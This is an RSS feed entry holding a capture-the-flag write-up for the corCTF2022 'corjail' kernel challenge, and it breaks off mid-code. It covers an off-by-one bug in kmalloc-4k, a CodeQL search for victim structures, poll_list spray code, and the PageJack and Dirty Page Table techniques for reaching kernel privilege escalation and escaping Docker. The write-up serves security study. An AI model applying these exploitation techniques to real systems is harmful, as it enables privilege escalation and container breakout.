<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Dirty Page Table on Uniguri&#39;s Blog</title>
    <link>/tags/dirty-page-table/</link>
    <description>Recent content in Dirty Page Table on Uniguri&#39;s Blog</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en-us</language>
    <lastBuildDate>Sun, 06 Apr 2025 12:18:08 +0000</lastBuildDate><atom:link href="/tags/dirty-page-table/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>corCTF2022 corjail</title>
      <link>/posts/kernel/write-ups/ctf/corctf2022-corjail/</link>
      <pubDate>Sun, 06 Apr 2025 12:18:08 +0000</pubDate>
      
      <guid>/posts/kernel/write-ups/ctf/corctf2022-corjail/</guid>
      <description>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;environment&#34;&gt;Environment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;linux version: &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source&#34;&gt;&lt;code&gt;5.10.127&lt;/code&gt;&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;CONFIG_SLUB_DEBUG=y&lt;/li&gt;
&lt;li&gt;CONFIG_SLUB=y&lt;/li&gt;
&lt;li&gt;CONFIG_SLAB_FREELIST_RANDOM=y&lt;/li&gt;
&lt;li&gt;CONFIG_SLAB_FREELIST_HARDENED=y&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;simple-description&#34;&gt;Simple description&lt;/h3&gt;
&lt;p&gt;The goal of this challenge is escaping docker with seccomp-ed environment by using off-by-one in kmalloc-4k.
The seccomp prohibits us to use &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/include/linux/msg.h#L9&#34;&gt;&lt;code&gt;struct msg_msg&lt;/code&gt;&lt;/a&gt; and &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/ipc/msgutil.c#L37&#34;&gt;&lt;code&gt;struct msg_msgseg&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;So, we need to find new structure which makes us exploit off-by-one.
And after making RIP control (ROP, or something&amp;hellip;), we have to LPE and Escaping docker.&lt;/p&gt;
&lt;h3 id=&#34;module&#34;&gt;Module&lt;/h3&gt;
&lt;p&gt;The module is simple: just prints the count of each syscall called and makes us to filter which syscall&amp;rsquo;s call count will be counted.
It utilizes Syscall statistics patch based on &lt;a href=&#34;https://lwn.net/Articles/896474/&#34;&gt;https://lwn.net/Articles/896474/&lt;/a&gt; (check out &lt;code&gt;build/build_kernel.sh&lt;/code&gt;).&lt;/p&gt;</description>
      <content>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;environment&#34;&gt;Environment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;linux version: &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source&#34;&gt;&lt;code&gt;5.10.127&lt;/code&gt;&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;CONFIG_SLUB_DEBUG=y&lt;/li&gt;
&lt;li&gt;CONFIG_SLUB=y&lt;/li&gt;
&lt;li&gt;CONFIG_SLAB_FREELIST_RANDOM=y&lt;/li&gt;
&lt;li&gt;CONFIG_SLAB_FREELIST_HARDENED=y&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;simple-description&#34;&gt;Simple description&lt;/h3&gt;
&lt;p&gt;The goal of this challenge is escaping docker with seccomp-ed environment by using off-by-one in kmalloc-4k.
The seccomp prohibits us to use &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/include/linux/msg.h#L9&#34;&gt;&lt;code&gt;struct msg_msg&lt;/code&gt;&lt;/a&gt; and &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/ipc/msgutil.c#L37&#34;&gt;&lt;code&gt;struct msg_msgseg&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;So, we need to find new structure which makes us exploit off-by-one.
And after making RIP control (ROP, or something&amp;hellip;), we have to LPE and Escaping docker.&lt;/p&gt;
&lt;h3 id=&#34;module&#34;&gt;Module&lt;/h3&gt;
&lt;p&gt;The module is simple: just prints the count of each syscall called and makes us to filter which syscall&amp;rsquo;s call count will be counted.
It utilizes Syscall statistics patch based on &lt;a href=&#34;https://lwn.net/Articles/896474/&#34;&gt;https://lwn.net/Articles/896474/&lt;/a&gt; (check out &lt;code&gt;build/build_kernel.sh&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;I think this function is only one we must read:



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;348591726&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;348591726&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;corCTF2022-corjail-cormon_proc_write.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;int64_t cormon_proc_write(struct file *file, const char *src, size_t size,
                          loff_t *ppos) {
  size_t v5;       // rbp
  const char *v7;  // rbx

  if (*ppos &amp;lt; 0) return -22LL;
  if (size == 0 || (unsigned __int64)*ppos &amp;gt; 0xFFF) return 0LL;
  if (size &amp;gt; 0x1000)
    v5 = 4095LL;
  else
    v5 = size;
  v7 = (const char *)kmem_cache_alloc_trace(
      kmalloc_caches[12], 2592LL,
      4096LL);  // SLAB_CACHE = kmalloc-4096 (0x800 &amp;lt; size &amp;lt;= 0x1000)
  printk(&amp;amp;unk_578, v7);
  if (v7) {
    _check_object_size(v7, v5, 0LL);
    if (copy_from_user(v7, src, v5)) {
      printk(&amp;amp;unk_5D0, src);
      return -14LL;
    } else {
      v7[v5] = 0;  // off-by-one when size=0x1000 -&amp;gt; v5=0x1000
      if ((unsigned int)update_filter(v7)) {
        kfree(v7);
        return -22LL;
      } else {
        kfree(v7);
        return size;
      }
    }
  } else {
    printk(&amp;amp;unk_5A0, 0LL);
    return -12LL;
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/p&gt;
&lt;h3 id=&#34;vulnerability&#34;&gt;Vulnerability&lt;/h3&gt;
&lt;p&gt;As I wrote on above pseudocode, the vulnerability (off-by-one) is occurs at &lt;code&gt;v7[v5] = 0;&lt;/code&gt;.
Okay.. the off-by-one in kmalloc-4k is all of this challenge&amp;hellip;&lt;/p&gt;
&lt;h2 id=&#34;exploit&#34;&gt;Exploit&lt;/h2&gt;
&lt;p&gt;Haha&amp;hellip; okay&amp;hellip; how we can exploit off-by-one in kmalloc-4k without &lt;code&gt;struct msg_msg&lt;/code&gt;&amp;hellip;?
I tried 3 approaches and I solve it with last approach as a result (I think first one was too complex and second one does not works..).&lt;/p&gt;
&lt;h3 id=&#34;first-approach-using-struct-poll_listhttpselixirbootlincomlinuxv510127sourcefsselectcl839&#34;&gt;First approach (using &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/fs/select.c#L839&#34;&gt;&lt;code&gt;struct poll_list&lt;/code&gt;&lt;/a&gt;)&lt;/h3&gt;
&lt;h4 id=&#34;finding-victim-object&#34;&gt;Finding victim object&lt;/h4&gt;
&lt;p&gt;My first approach is exploit structure with first member is &lt;code&gt;struct ??? *next&lt;/code&gt; or refcount like &lt;code&gt;atomic_t ???_count&lt;/code&gt;, &lt;code&gt;atomic_long_t ???_count&lt;/code&gt;, or etc.
If the structure has next pointer, we can make UAF by releaseing the object and this is also same if it has recount.&lt;/p&gt;
&lt;p&gt;So I try finding these objects using &lt;a href=&#34;https://codeql.github.com/&#34;&gt;CodeQL&lt;/a&gt;.&lt;/p&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;391468527&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;391468527&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;corCTF2022-corjail-codeql_finding_target_struct.sql&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;import cpp
from Field f, Type ty, PointerType p, FunctionCall call
where
    (
        call.getTarget().getName() = &amp;#34;kmalloc&amp;#34; or
        call.getTarget().getName() = &amp;#34;kzalloc&amp;#34; 
    ) and
    call.getActualType() = p and
    p.refersTo(ty) and
    f.getByteOffset() = 0 and
    f.getDeclaringType() = ty and
    (
        f.getType().getName() = &amp;#34;list_head&amp;#34; or 
        f.getName().matches(&amp;#34;%count%&amp;#34;) or
        f.getType().refersToDirectly(ty)
    ) and
    (
        (
            call.getArgument(0).getValue().toInt() &amp;gt; 2048 and
            call.getArgument(0).getValue().toInt() &amp;lt;= 4096
        ) or
        not call.getArgument(0).isConstant()
    )
select ty.getName(), 
    ty.getLocation().toString(), 
    call.getLocation().toString()&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;And the result is following:&lt;/p&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;217463859&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;217463859&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;corCTF2022-corjail-codeql_finding_target_struct_result.txt&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;|          col0           |                          col1                           |                        col2                         |
+-------------------------+---------------------------------------------------------+-----------------------------------------------------+
| workqueue_struct        | kernel/workqueue.c:239:8:239:23                         | kernel/workqueue.c:4288:7:4288:13                   |
| posix_acl               | include/linux/posix_acl.h:27:8:27:16                    | fs/posix_acl.c:181:26:181:32                        |
| msg_msg                 | include/linux/msg.h:9:8:9:14                            | ipc/msgutil.c:53:8:53:14                            |
| sem_undo                | ipc/sem.c:146:8:146:15                                  | ipc/sem.c:1940:8:1940:14                            |
| list_head               | include/linux/types.h:178:8:178:16                      | fs/dcookies.c:236:22:236:28                         |
| list_head               | tools/include/linux/types.h:69:8:69:16                  | fs/dcookies.c:236:22:236:28                         |
| perf_buffer             | kernel/events/internal.h:13:8:13:18                     | kernel/events/ring_buffer.c:815:7:815:13            |
| vmbus_channel_msginfo   | include/linux/hyperv.h:707:8:707:28                     | drivers/hv/channel.c:271:16:271:22                  |
| vmbus_channel_msginfo   | include/linux/hyperv.h:707:8:707:28                     | drivers/hv/channel.c:308:14:308:20                  |
| vmbus_channel_msginfo   | include/linux/hyperv.h:707:8:707:28                     | drivers/hv/channel.c:352:15:352:21                  |
| vmbus_channel_msginfo   | include/linux/hyperv.h:707:8:707:28                     | drivers/hv/vmbus_drv.c:2473:12:2473:18              |
| blk_plug_cb             | include/linux/blkdev.h:1262:8:1262:18                   | block/blk-core.c:1743:7:1743:13                     |
| audit_tree              | kernel/audit_tree.c:13:8:13:17                          | kernel/audit_tree.c:97:9:97:15                      |
| apertures_struct        | include/linux/fb.h:495:9:495:24                         | include/linux/fb.h:509:6:509:12                     |
| Scsi_Host               | include/scsi/scsi_host.h:524:8:524:16                   | drivers/scsi/hosts.c:386:10:386:16                  |
| neighbour               | include/net/neighbour.h:134:8:134:16                    | net/core/neighbour.c:453:13:453:19                  |
| neighbour               | include/net/neighbour.h:134:8:134:16                    | net/core/neighbour.c:406:6:406:12                   |
| netdev_hw_addr          | include/linux/netdevice.h:209:8:209:21                  | net/core/dev_addr_lists.c:30:7:30:13                |
| cpu_rmap                | include/linux/cpu_rmap.h:24:8:24:15                     | lib/cpu_rmap.c:39:9:39:15                           |
| poll_list               | fs/select.c:839:8:839:16                                | fs/select.c:1005:23:1005:29                         |
| hpets                   | drivers/char/hpet.c:104:8:104:12                        | drivers/char/hpet.c:858:10:858:16                   |
| resource_entry          | include/linux/resource_ext.h:23:8:23:21                 | kernel/resource.c:1701:10:1701:16                   |
| journal_replay          | drivers/md/bcache/journal.h:83:8:83:21                  | drivers/md/bcache/journal.c:150:8:150:14            |
| md_rdev                 | drivers/md/md.h:48:8:48:14                              | drivers/md/raid0.c:149:18:149:24                    |
| hv_dr_state             | drivers/pci/controller/pci-hyperv.c:517:8:517:18        | drivers/pci/controller/pci-hyperv.c:2266:7:2266:13  |
| hv_dr_state             | drivers/pci/controller/pci-hyperv.c:517:8:517:18        | drivers/pci/controller/pci-hyperv.c:2231:7:2231:13  |
| iscsi_bus_flash_conn    | include/scsi/scsi_transport_iscsi.h:318:8:318:27        | drivers/scsi/scsi_transport_iscsi.c:1286:15:1286:21 |
| iscsi_bus_flash_session | include/scsi/scsi_transport_iscsi.h:363:8:363:30        | drivers/scsi/scsi_transport_iscsi.c:1237:15:1237:21 |
| iscsi_cls_conn          | include/scsi/scsi_transport_iscsi.h:202:8:202:21        | drivers/scsi/scsi_transport_iscsi.c:2401:9:2401:15  |
| iscsi_cls_session       | include/scsi/scsi_transport_iscsi.h:241:8:241:24        | drivers/scsi/scsi_transport_iscsi.c:2040:12:2040:18 |
| tcmu_tmr                | drivers/target/target_core_user.c:192:8:192:15          | drivers/target/target_core_user.c:1270:8:1270:14    |
| ext4_xattr_inode_array  | fs/ext4/xattr.h:119:8:119:29                            | fs/ext4/xattr.c:2822:15:2822:21                     |
| fscache_cache_tag       | include/linux/fscache-cache.h:43:8:43:24                | fs/fscache/cache.c:41:9:41:15                       |
| mr_table                | include/linux/mroute_base.h:241:8:241:15                | net/ipv4/ipmr_base.c:41:8:41:14                     |
| pneigh_entry            | include/net/neighbour.h:171:8:171:19                    | net/core/neighbour.c:1714:23:1714:29                |
| pneigh_entry            | include/net/neighbour.h:171:8:171:19                    | net/core/neighbour.c:737:6:737:12                   |
| fib_rule                | include/net/fib_rules.h:20:8:20:15                      | net/core/fib_rules.c:544:11:544:17                  |
| fib_rule                | include/net/fib_rules.h:20:8:20:15                      | net/core/fib_rules.c:60:6:60:12                     |
| msg_msgseg              | ipc/msgutil.c:37:8:37:17                                | ipc/msgutil.c:68:9:68:15                            |
| audit_chunk             | kernel/audit_tree.c:25:8:25:18                          | kernel/audit_tree.c:193:10:193:16                   |
| kprobe_insn_page        | kernel/kprobes.c:90:8:90:23                             | kernel/kprobes.c:172:8:172:14                       |
| kmalloced_param         | kernel/params.c:39:8:39:22                              | kernel/params.c:50:6:50:12                          |
| nested_table            | lib/rhashtable.c:32:7:32:18                             | lib/rhashtable.c:133:9:133:15                       |
| nf_queue_entry          | include/net/netfilter/nf_queue.h:12:8:12:21             | net/netfilter/nf_queue.c:204:10:204:16              |
| tls_rec                 | include/net/tls.h:99:8:99:14                            | net/tls/tls_sw.c:337:8:337:14                       |
| nh_group                | include/net/nexthop.h:75:8:75:15                        | net/ipv4/nexthop.c:138:8:138:14                     |
| ctnl_timeout            | include/net/netfilter/nf_conntrack_timeout.h:20:8:20:19 | net/netfilter/nfnetlink_cttimeout.c:133:12:133:18   |
| recent_entry            | net/netfilter/xt_recent.c:66:8:66:19                    | net/netfilter/xt_recent.c:191:6:191:12              |
| counted_str             | security/apparmor/include/lib.h:93:8:93:18              | security/apparmor/lib.c:139:8:139:14                |
| aa_label                | security/apparmor/include/label.h:125:8:125:15          | security/apparmor/domain.c:1404:9:1406:38           |
| aa_label                | security/apparmor/include/label.h:125:8:125:15          | security/apparmor/domain.c:813:9:816:23             |
| aa_label                | security/apparmor/include/label.h:125:8:125:15          | security/apparmor/domain.c:825:9:829:23             |
| aa_label                | security/apparmor/include/label.h:125:8:125:15          | security/apparmor/label.c:428:8:428:14              |
| aa_label                | security/apparmor/include/label.h:125:8:125:15          | security/apparmor/domain.c:1117:8:1119:37           |
| aa_label                | security/apparmor/include/label.h:125:8:125:15          | security/apparmor/domain.c:895:9:897:25             |
| aa_label                | security/apparmor/include/label.h:125:8:125:15          | security/apparmor/mount.c:707:11:709:27             |
| aa_buffer               | security/apparmor/lsm.c:47:7:47:15                      | security/apparmor/lsm.c:1691:12:1691:18             |
| aa_buffer               | security/apparmor/lsm.c:47:7:47:15                      | security/apparmor/lsm.c:1611:11:1611:17             |
| ima_rule_opt_list       | security/integrity/ima/ima_policy.c:63:8:63:24          | security/integrity/ima/ima_policy.c:288:13:288:19   |&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;I look up these structures and &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/fs/select.c#L839&#34;&gt;&lt;code&gt;struct poll_list&lt;/code&gt;&lt;/a&gt; is useful.
Because it has &lt;code&gt;struct poll_list *next&lt;/code&gt; at offset 0, it is allocated by &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/fs/select.c#L1067&#34;&gt;&lt;code&gt;poll&lt;/code&gt; system call&lt;/a&gt;, and its size is provided by user.&lt;/p&gt;
&lt;h4 id=&#34;how-to-spray-poll&#34;&gt;How to spray poll?&lt;/h4&gt;
&lt;p&gt;I want to spray &lt;code&gt;struct poll_list&lt;/code&gt; in kmalloc-4k. Therefore I can allocate it and release it when I want.
But since the &lt;code&gt;poll&lt;/code&gt; originally block the user program, we allocate it on other thread (actually we need to allocate it on other process).&lt;/p&gt;
&lt;p&gt;I tried it using &lt;code&gt;pthread_create&lt;/code&gt; but the thread is not created. So I decide to use &lt;code&gt;clone&lt;/code&gt;&lt;/p&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;246518739&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;246518739&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;corCTF2022-corjail-spray_poll.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;int create_poll(void *timeout_ms) {
  pin_to_core(0);
  const int timeout = (int)(int64_t)timeout_ms;
  const int size = (256 - 16) / 8 + (0x1000 - 16) / 8;
  struct pollfd *fds = malloc(size * sizeof(struct pollfd));
  for (int i = 0; i &amp;lt; size; i++) {
    fds[i].fd = 0xdead0000 + i;
    fds[i].events = POLLIN;
  }
  poll(fds, size, timeout);
  free(fds);
}

#define CLONE_STACK_HEAP_ALLOC_COUNT 1024 * 1024
int create_poll_via_clone(int timeout_ms) {
  char child_stack[CLONE_STACK_HEAP_ALLOC_COUNT];
  int pid = clone(create_poll, child_stack, CLONE_VM | SIGCHLD,
                  (void *)(int64_t)timeout_ms);
  return pid;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h4 id=&#34;slubstickhttpswwwusenixorgconferenceusenixsecurity24presentationmaar-slubstick&#34;&gt;&lt;a href=&#34;https://www.usenix.org/conference/usenixsecurity24/presentation/maar-slubstick&#34;&gt;SLUBStick&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Now I can spray &lt;code&gt;struct poll_list&lt;/code&gt; and trigger off-by-one.
But as you know, we cannot ensure off-by-one will corrupt &lt;code&gt;struct poll_list&lt;/code&gt;&amp;rsquo;s &lt;code&gt;struct poll_list *next&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I decide to use SLUBStick for gathering &lt;code&gt;struct poll_list&lt;/code&gt;s in one (or consecutive) slab cache.
Originally SLUBStic is for a cross-cache attack and cross-cache attack requires that target objects must be in one slab cache.&lt;/p&gt;
&lt;p&gt;By using SLUBStick we can spray &lt;code&gt;struct poll_list&lt;/code&gt;s on one (or consecutive) slab cache.
And so off-by-one will be corrupt its next with high stability.&lt;/p&gt;
&lt;h4 id=&#34;find-another-approace&#34;&gt;Find another approace&lt;/h4&gt;
&lt;p&gt;At this time, I think how I can exploit using &lt;code&gt;struct poll_list&lt;/code&gt;.
My plain was following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Spray &lt;code&gt;struct poll_list&lt;/code&gt; with its next is in kmalloc-8, kmalloc-16, kmalloc-32, kmalloc-64, kmalloc-128, kmalloc-192 (let me call it target cache from now on)&lt;/li&gt;
&lt;li&gt;Trigger off-by-one and make UAF in target cache&lt;/li&gt;
&lt;li&gt;Leak kernel base to bypass KASLR using object in target cache&lt;/li&gt;
&lt;li&gt;Do Cross-Cache attack on target cache and make UAF in kmalloc-1k (for using &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/include/linux/tty.h#L285&#34;&gt;&lt;code&gt;struct tty_struct&lt;/code&gt;&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Do ROP using &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/include/keys/user-type.h#L27&#34;&gt;&lt;code&gt;struct user_key_payload&lt;/code&gt;&lt;/a&gt; or other objects&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Hmm&amp;hellip; This require cross-cache attack and its stability is low as we know.
That&amp;rsquo;s why I try another approach.&lt;/p&gt;
&lt;p&gt;PS. &lt;a href=&#34;https://syst3mfailure.io/corjail/&#34;&gt;the author&amp;rsquo;s write-up&lt;/a&gt; might do similar thing without cross-cache. Leak address of &lt;code&gt;struct tty_struct&lt;/code&gt; using &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/include/linux/tty.h#L347&#34;&gt;&lt;code&gt;struct tty_file_private&lt;/code&gt;&lt;/a&gt; and make UAF on that &lt;code&gt;struct tty_struct&lt;/code&gt;. And do ROP.&lt;/p&gt;
&lt;h3 id=&#34;second-approach-using-pagejackhttpsiblackhatcombh-us-24presentationsus24-qian-pagejack-a-powerful-exploit-technique-with-page-level-uaf-thursdaypdf&#34;&gt;Second approach (using &lt;a href=&#34;https://i.blackhat.com/BH-US-24/Presentations/US24-Qian-PageJack-A-Powerful-Exploit-Technique-With-Page-Level-UAF-Thursday.pdf&#34;&gt;PageJack&lt;/a&gt;)&lt;/h3&gt;
&lt;p&gt;After searching methods which can exploit off-by-one, I found &lt;a href=&#34;https://i.blackhat.com/BH-US-24/Presentations/US24-Qian-PageJack-A-Powerful-Exploit-Technique-With-Page-Level-UAF-Thursday.pdf&#34;&gt;PageJack&lt;/a&gt;.
It does not require bypass KASLR, corss-cache, and ETC and only require the off-by-one (or OOB write).&lt;/p&gt;
&lt;p&gt;WoW.. I tried it immediately&amp;hellip;.
But it does not works&amp;hellip;. WHY?!?!&lt;/p&gt;
&lt;h4 id=&#34;why-pagejack-does-not-work&#34;&gt;Why PageJack does not work?&lt;/h4&gt;
&lt;p&gt;PageJack utilize &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/include/linux/pipe_fs_i.h#L26&#34;&gt;&lt;code&gt;struct page *page&lt;/code&gt;&lt;/a&gt; of &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/include/linux/pipe_fs_i.h#L26&#34;&gt;&lt;code&gt;struct pipe_buffer&lt;/code&gt;&lt;/a&gt;.
With off-by-one (or OOB write) we can overwrite least significant byte of &lt;code&gt;page&lt;/code&gt; and make physical page level UAF as a result.&lt;/p&gt;
&lt;p&gt;After page level UAF, spraying &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/include/linux/fs.h#L916&#34;&gt;&lt;code&gt;struct file&lt;/code&gt;&lt;/a&gt; will make the UAF page &lt;code&gt;filp&lt;/code&gt; cache (the &lt;code&gt;filp&lt;/code&gt; cache uses only one page).
The &lt;code&gt;struct file&lt;/code&gt;s allocated on new &lt;code&gt;filp&lt;/code&gt; cache (it&amp;rsquo;s UAF page) and we have write primitive on it via pipe.
We can modify &lt;code&gt;fmode_t f_mode&lt;/code&gt; of &lt;code&gt;struct file&lt;/code&gt; via pipe as a result.&lt;/p&gt;
&lt;p&gt;Everything is okay except the &lt;code&gt;const struct file_operations *f_op&lt;/code&gt;.
The write process is following:&lt;/p&gt;
&lt;pre class=&#34;mermaid&#34;&gt;
    flowchart TD
	    sys_write[sys_write] --&amp;gt; ksys_write
	    ksys_write[ksys_write] --&amp;gt; vfs_write
	    vfs_write[vfs_write] --&amp;gt; write[file-&amp;gt;f_op-&amp;gt;write]
	    vfs_write[vfs_write] --&amp;gt; new_sync_write[new_sync_write]
	    new_sync_write[new_sync_write] --&amp;gt; write_iter[file-&amp;gt;f_op-&amp;gt;write_iter]
	
	    click sys_write &amp;#34;https://elixir.bootlin.com/linux/v5.10.127/source/fs/read_write.c#L667&amp;#34;
	    click ksys_write &amp;#34;https://elixir.bootlin.com/linux/v5.10.127/source/fs/read_write.c#L647&amp;#34;
	    click vfs_write &amp;#34;https://elixir.bootlin.com/linux/v5.10.127/source/fs/read_write.c#L585&amp;#34;
	    click new_sync_write &amp;#34;https://elixir.bootlin.com/linux/v5.10.127/source/fs/read_write.c#L507&amp;#34;
	    click call_write_iter &amp;#34;https://elixir.bootlin.com/linux/v5.10.127/source/include/linux/fs.h#L1900&amp;#34;
&lt;/pre&gt;
&lt;p&gt;Unlike host environment, in docker container &lt;code&gt;f_op&lt;/code&gt; is &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/fs/overlayfs/file.c#L764&#34;&gt;&lt;code&gt;ovl_file_operations&lt;/code&gt;&lt;/a&gt;.
So, when call &lt;code&gt;file-&amp;gt;f_op-&amp;gt;write&lt;/code&gt; or &lt;code&gt;file-&amp;gt;f_op-&amp;gt;write_iter&lt;/code&gt;, the called function is not same as host and the &lt;code&gt;f_mode&lt;/code&gt; is checked again in &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/fs/overlayfs/file.c#L350&#34;&gt;&lt;code&gt;ovl_write_iter&lt;/code&gt;&lt;/a&gt; (check it yourself!).&lt;/p&gt;

&lt;img src=&#34;https://media1.tenor.com/m/kXWb4lofzQcAAAAC/hiroi-kikuri-hiroi.gif&#34;  alt=&#34;hiroi sad&#34;  class=&#34;center&#34;  style=&#34;border-radius: 8px;&#34;    /&gt;


&lt;p&gt;PS. the &lt;a href=&#34;https://github.com/sajjadium/ctf-archives/tree/main/ctfs/Codegate/2025/Quals/pwn/pew&#34;&gt;pew challenge&lt;/a&gt; of CodeGate 2025 Qual is solved easily by &lt;a href=&#34;https://github.com/Lotuhu/Page-UAF/blob/master/CVE-2021-22555/exp.c&#34;&gt;PageJack PoC&lt;/a&gt; (we need to modify the poc very very little).&lt;/p&gt;
&lt;h3 id=&#34;last-approach-using-struct-pipe_bufferhttpselixirbootlincomlinuxv510127sourceincludelinuxpipe_fs_ihl26-and-dirty-page-tablehttpsyanglingxi1993githubiodirty_pagetabledirty_pagetablehtml&#34;&gt;Last approach (using &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/include/linux/pipe_fs_i.h#L26&#34;&gt;&lt;code&gt;struct pipe_buffer&lt;/code&gt;&lt;/a&gt; and &lt;a href=&#34;https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html&#34;&gt;Dirty Page Table&lt;/a&gt;)&lt;/h3&gt;
&lt;p&gt;We cannot use PageJack but we can get physical page level UAF by using it partially.
So, then, we can use &lt;a href=&#34;https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html&#34;&gt;Dirty Page Table&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id=&#34;uaf-page-to-ptehttpsenwikipediaorgwikipage_tablepage_table_entry-page&#34;&gt;UAF page to &lt;a href=&#34;https://en.wikipedia.org/wiki/Page_table#Page_table_entry&#34;&gt;PTE&lt;/a&gt; page&lt;/h4&gt;
&lt;p&gt;We can spray &lt;a href=&#34;https://en.wikipedia.org/wiki/Page_table#Page_table_entry&#34;&gt;PTE&lt;/a&gt;s via &lt;code&gt;mmap&lt;/code&gt; and cause page fault by write to each memory. But I tried like below I failed to allocate PTEs on UAF page.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; i &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; i &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; MMAP_SPRAY_COUNT; &lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;i) {
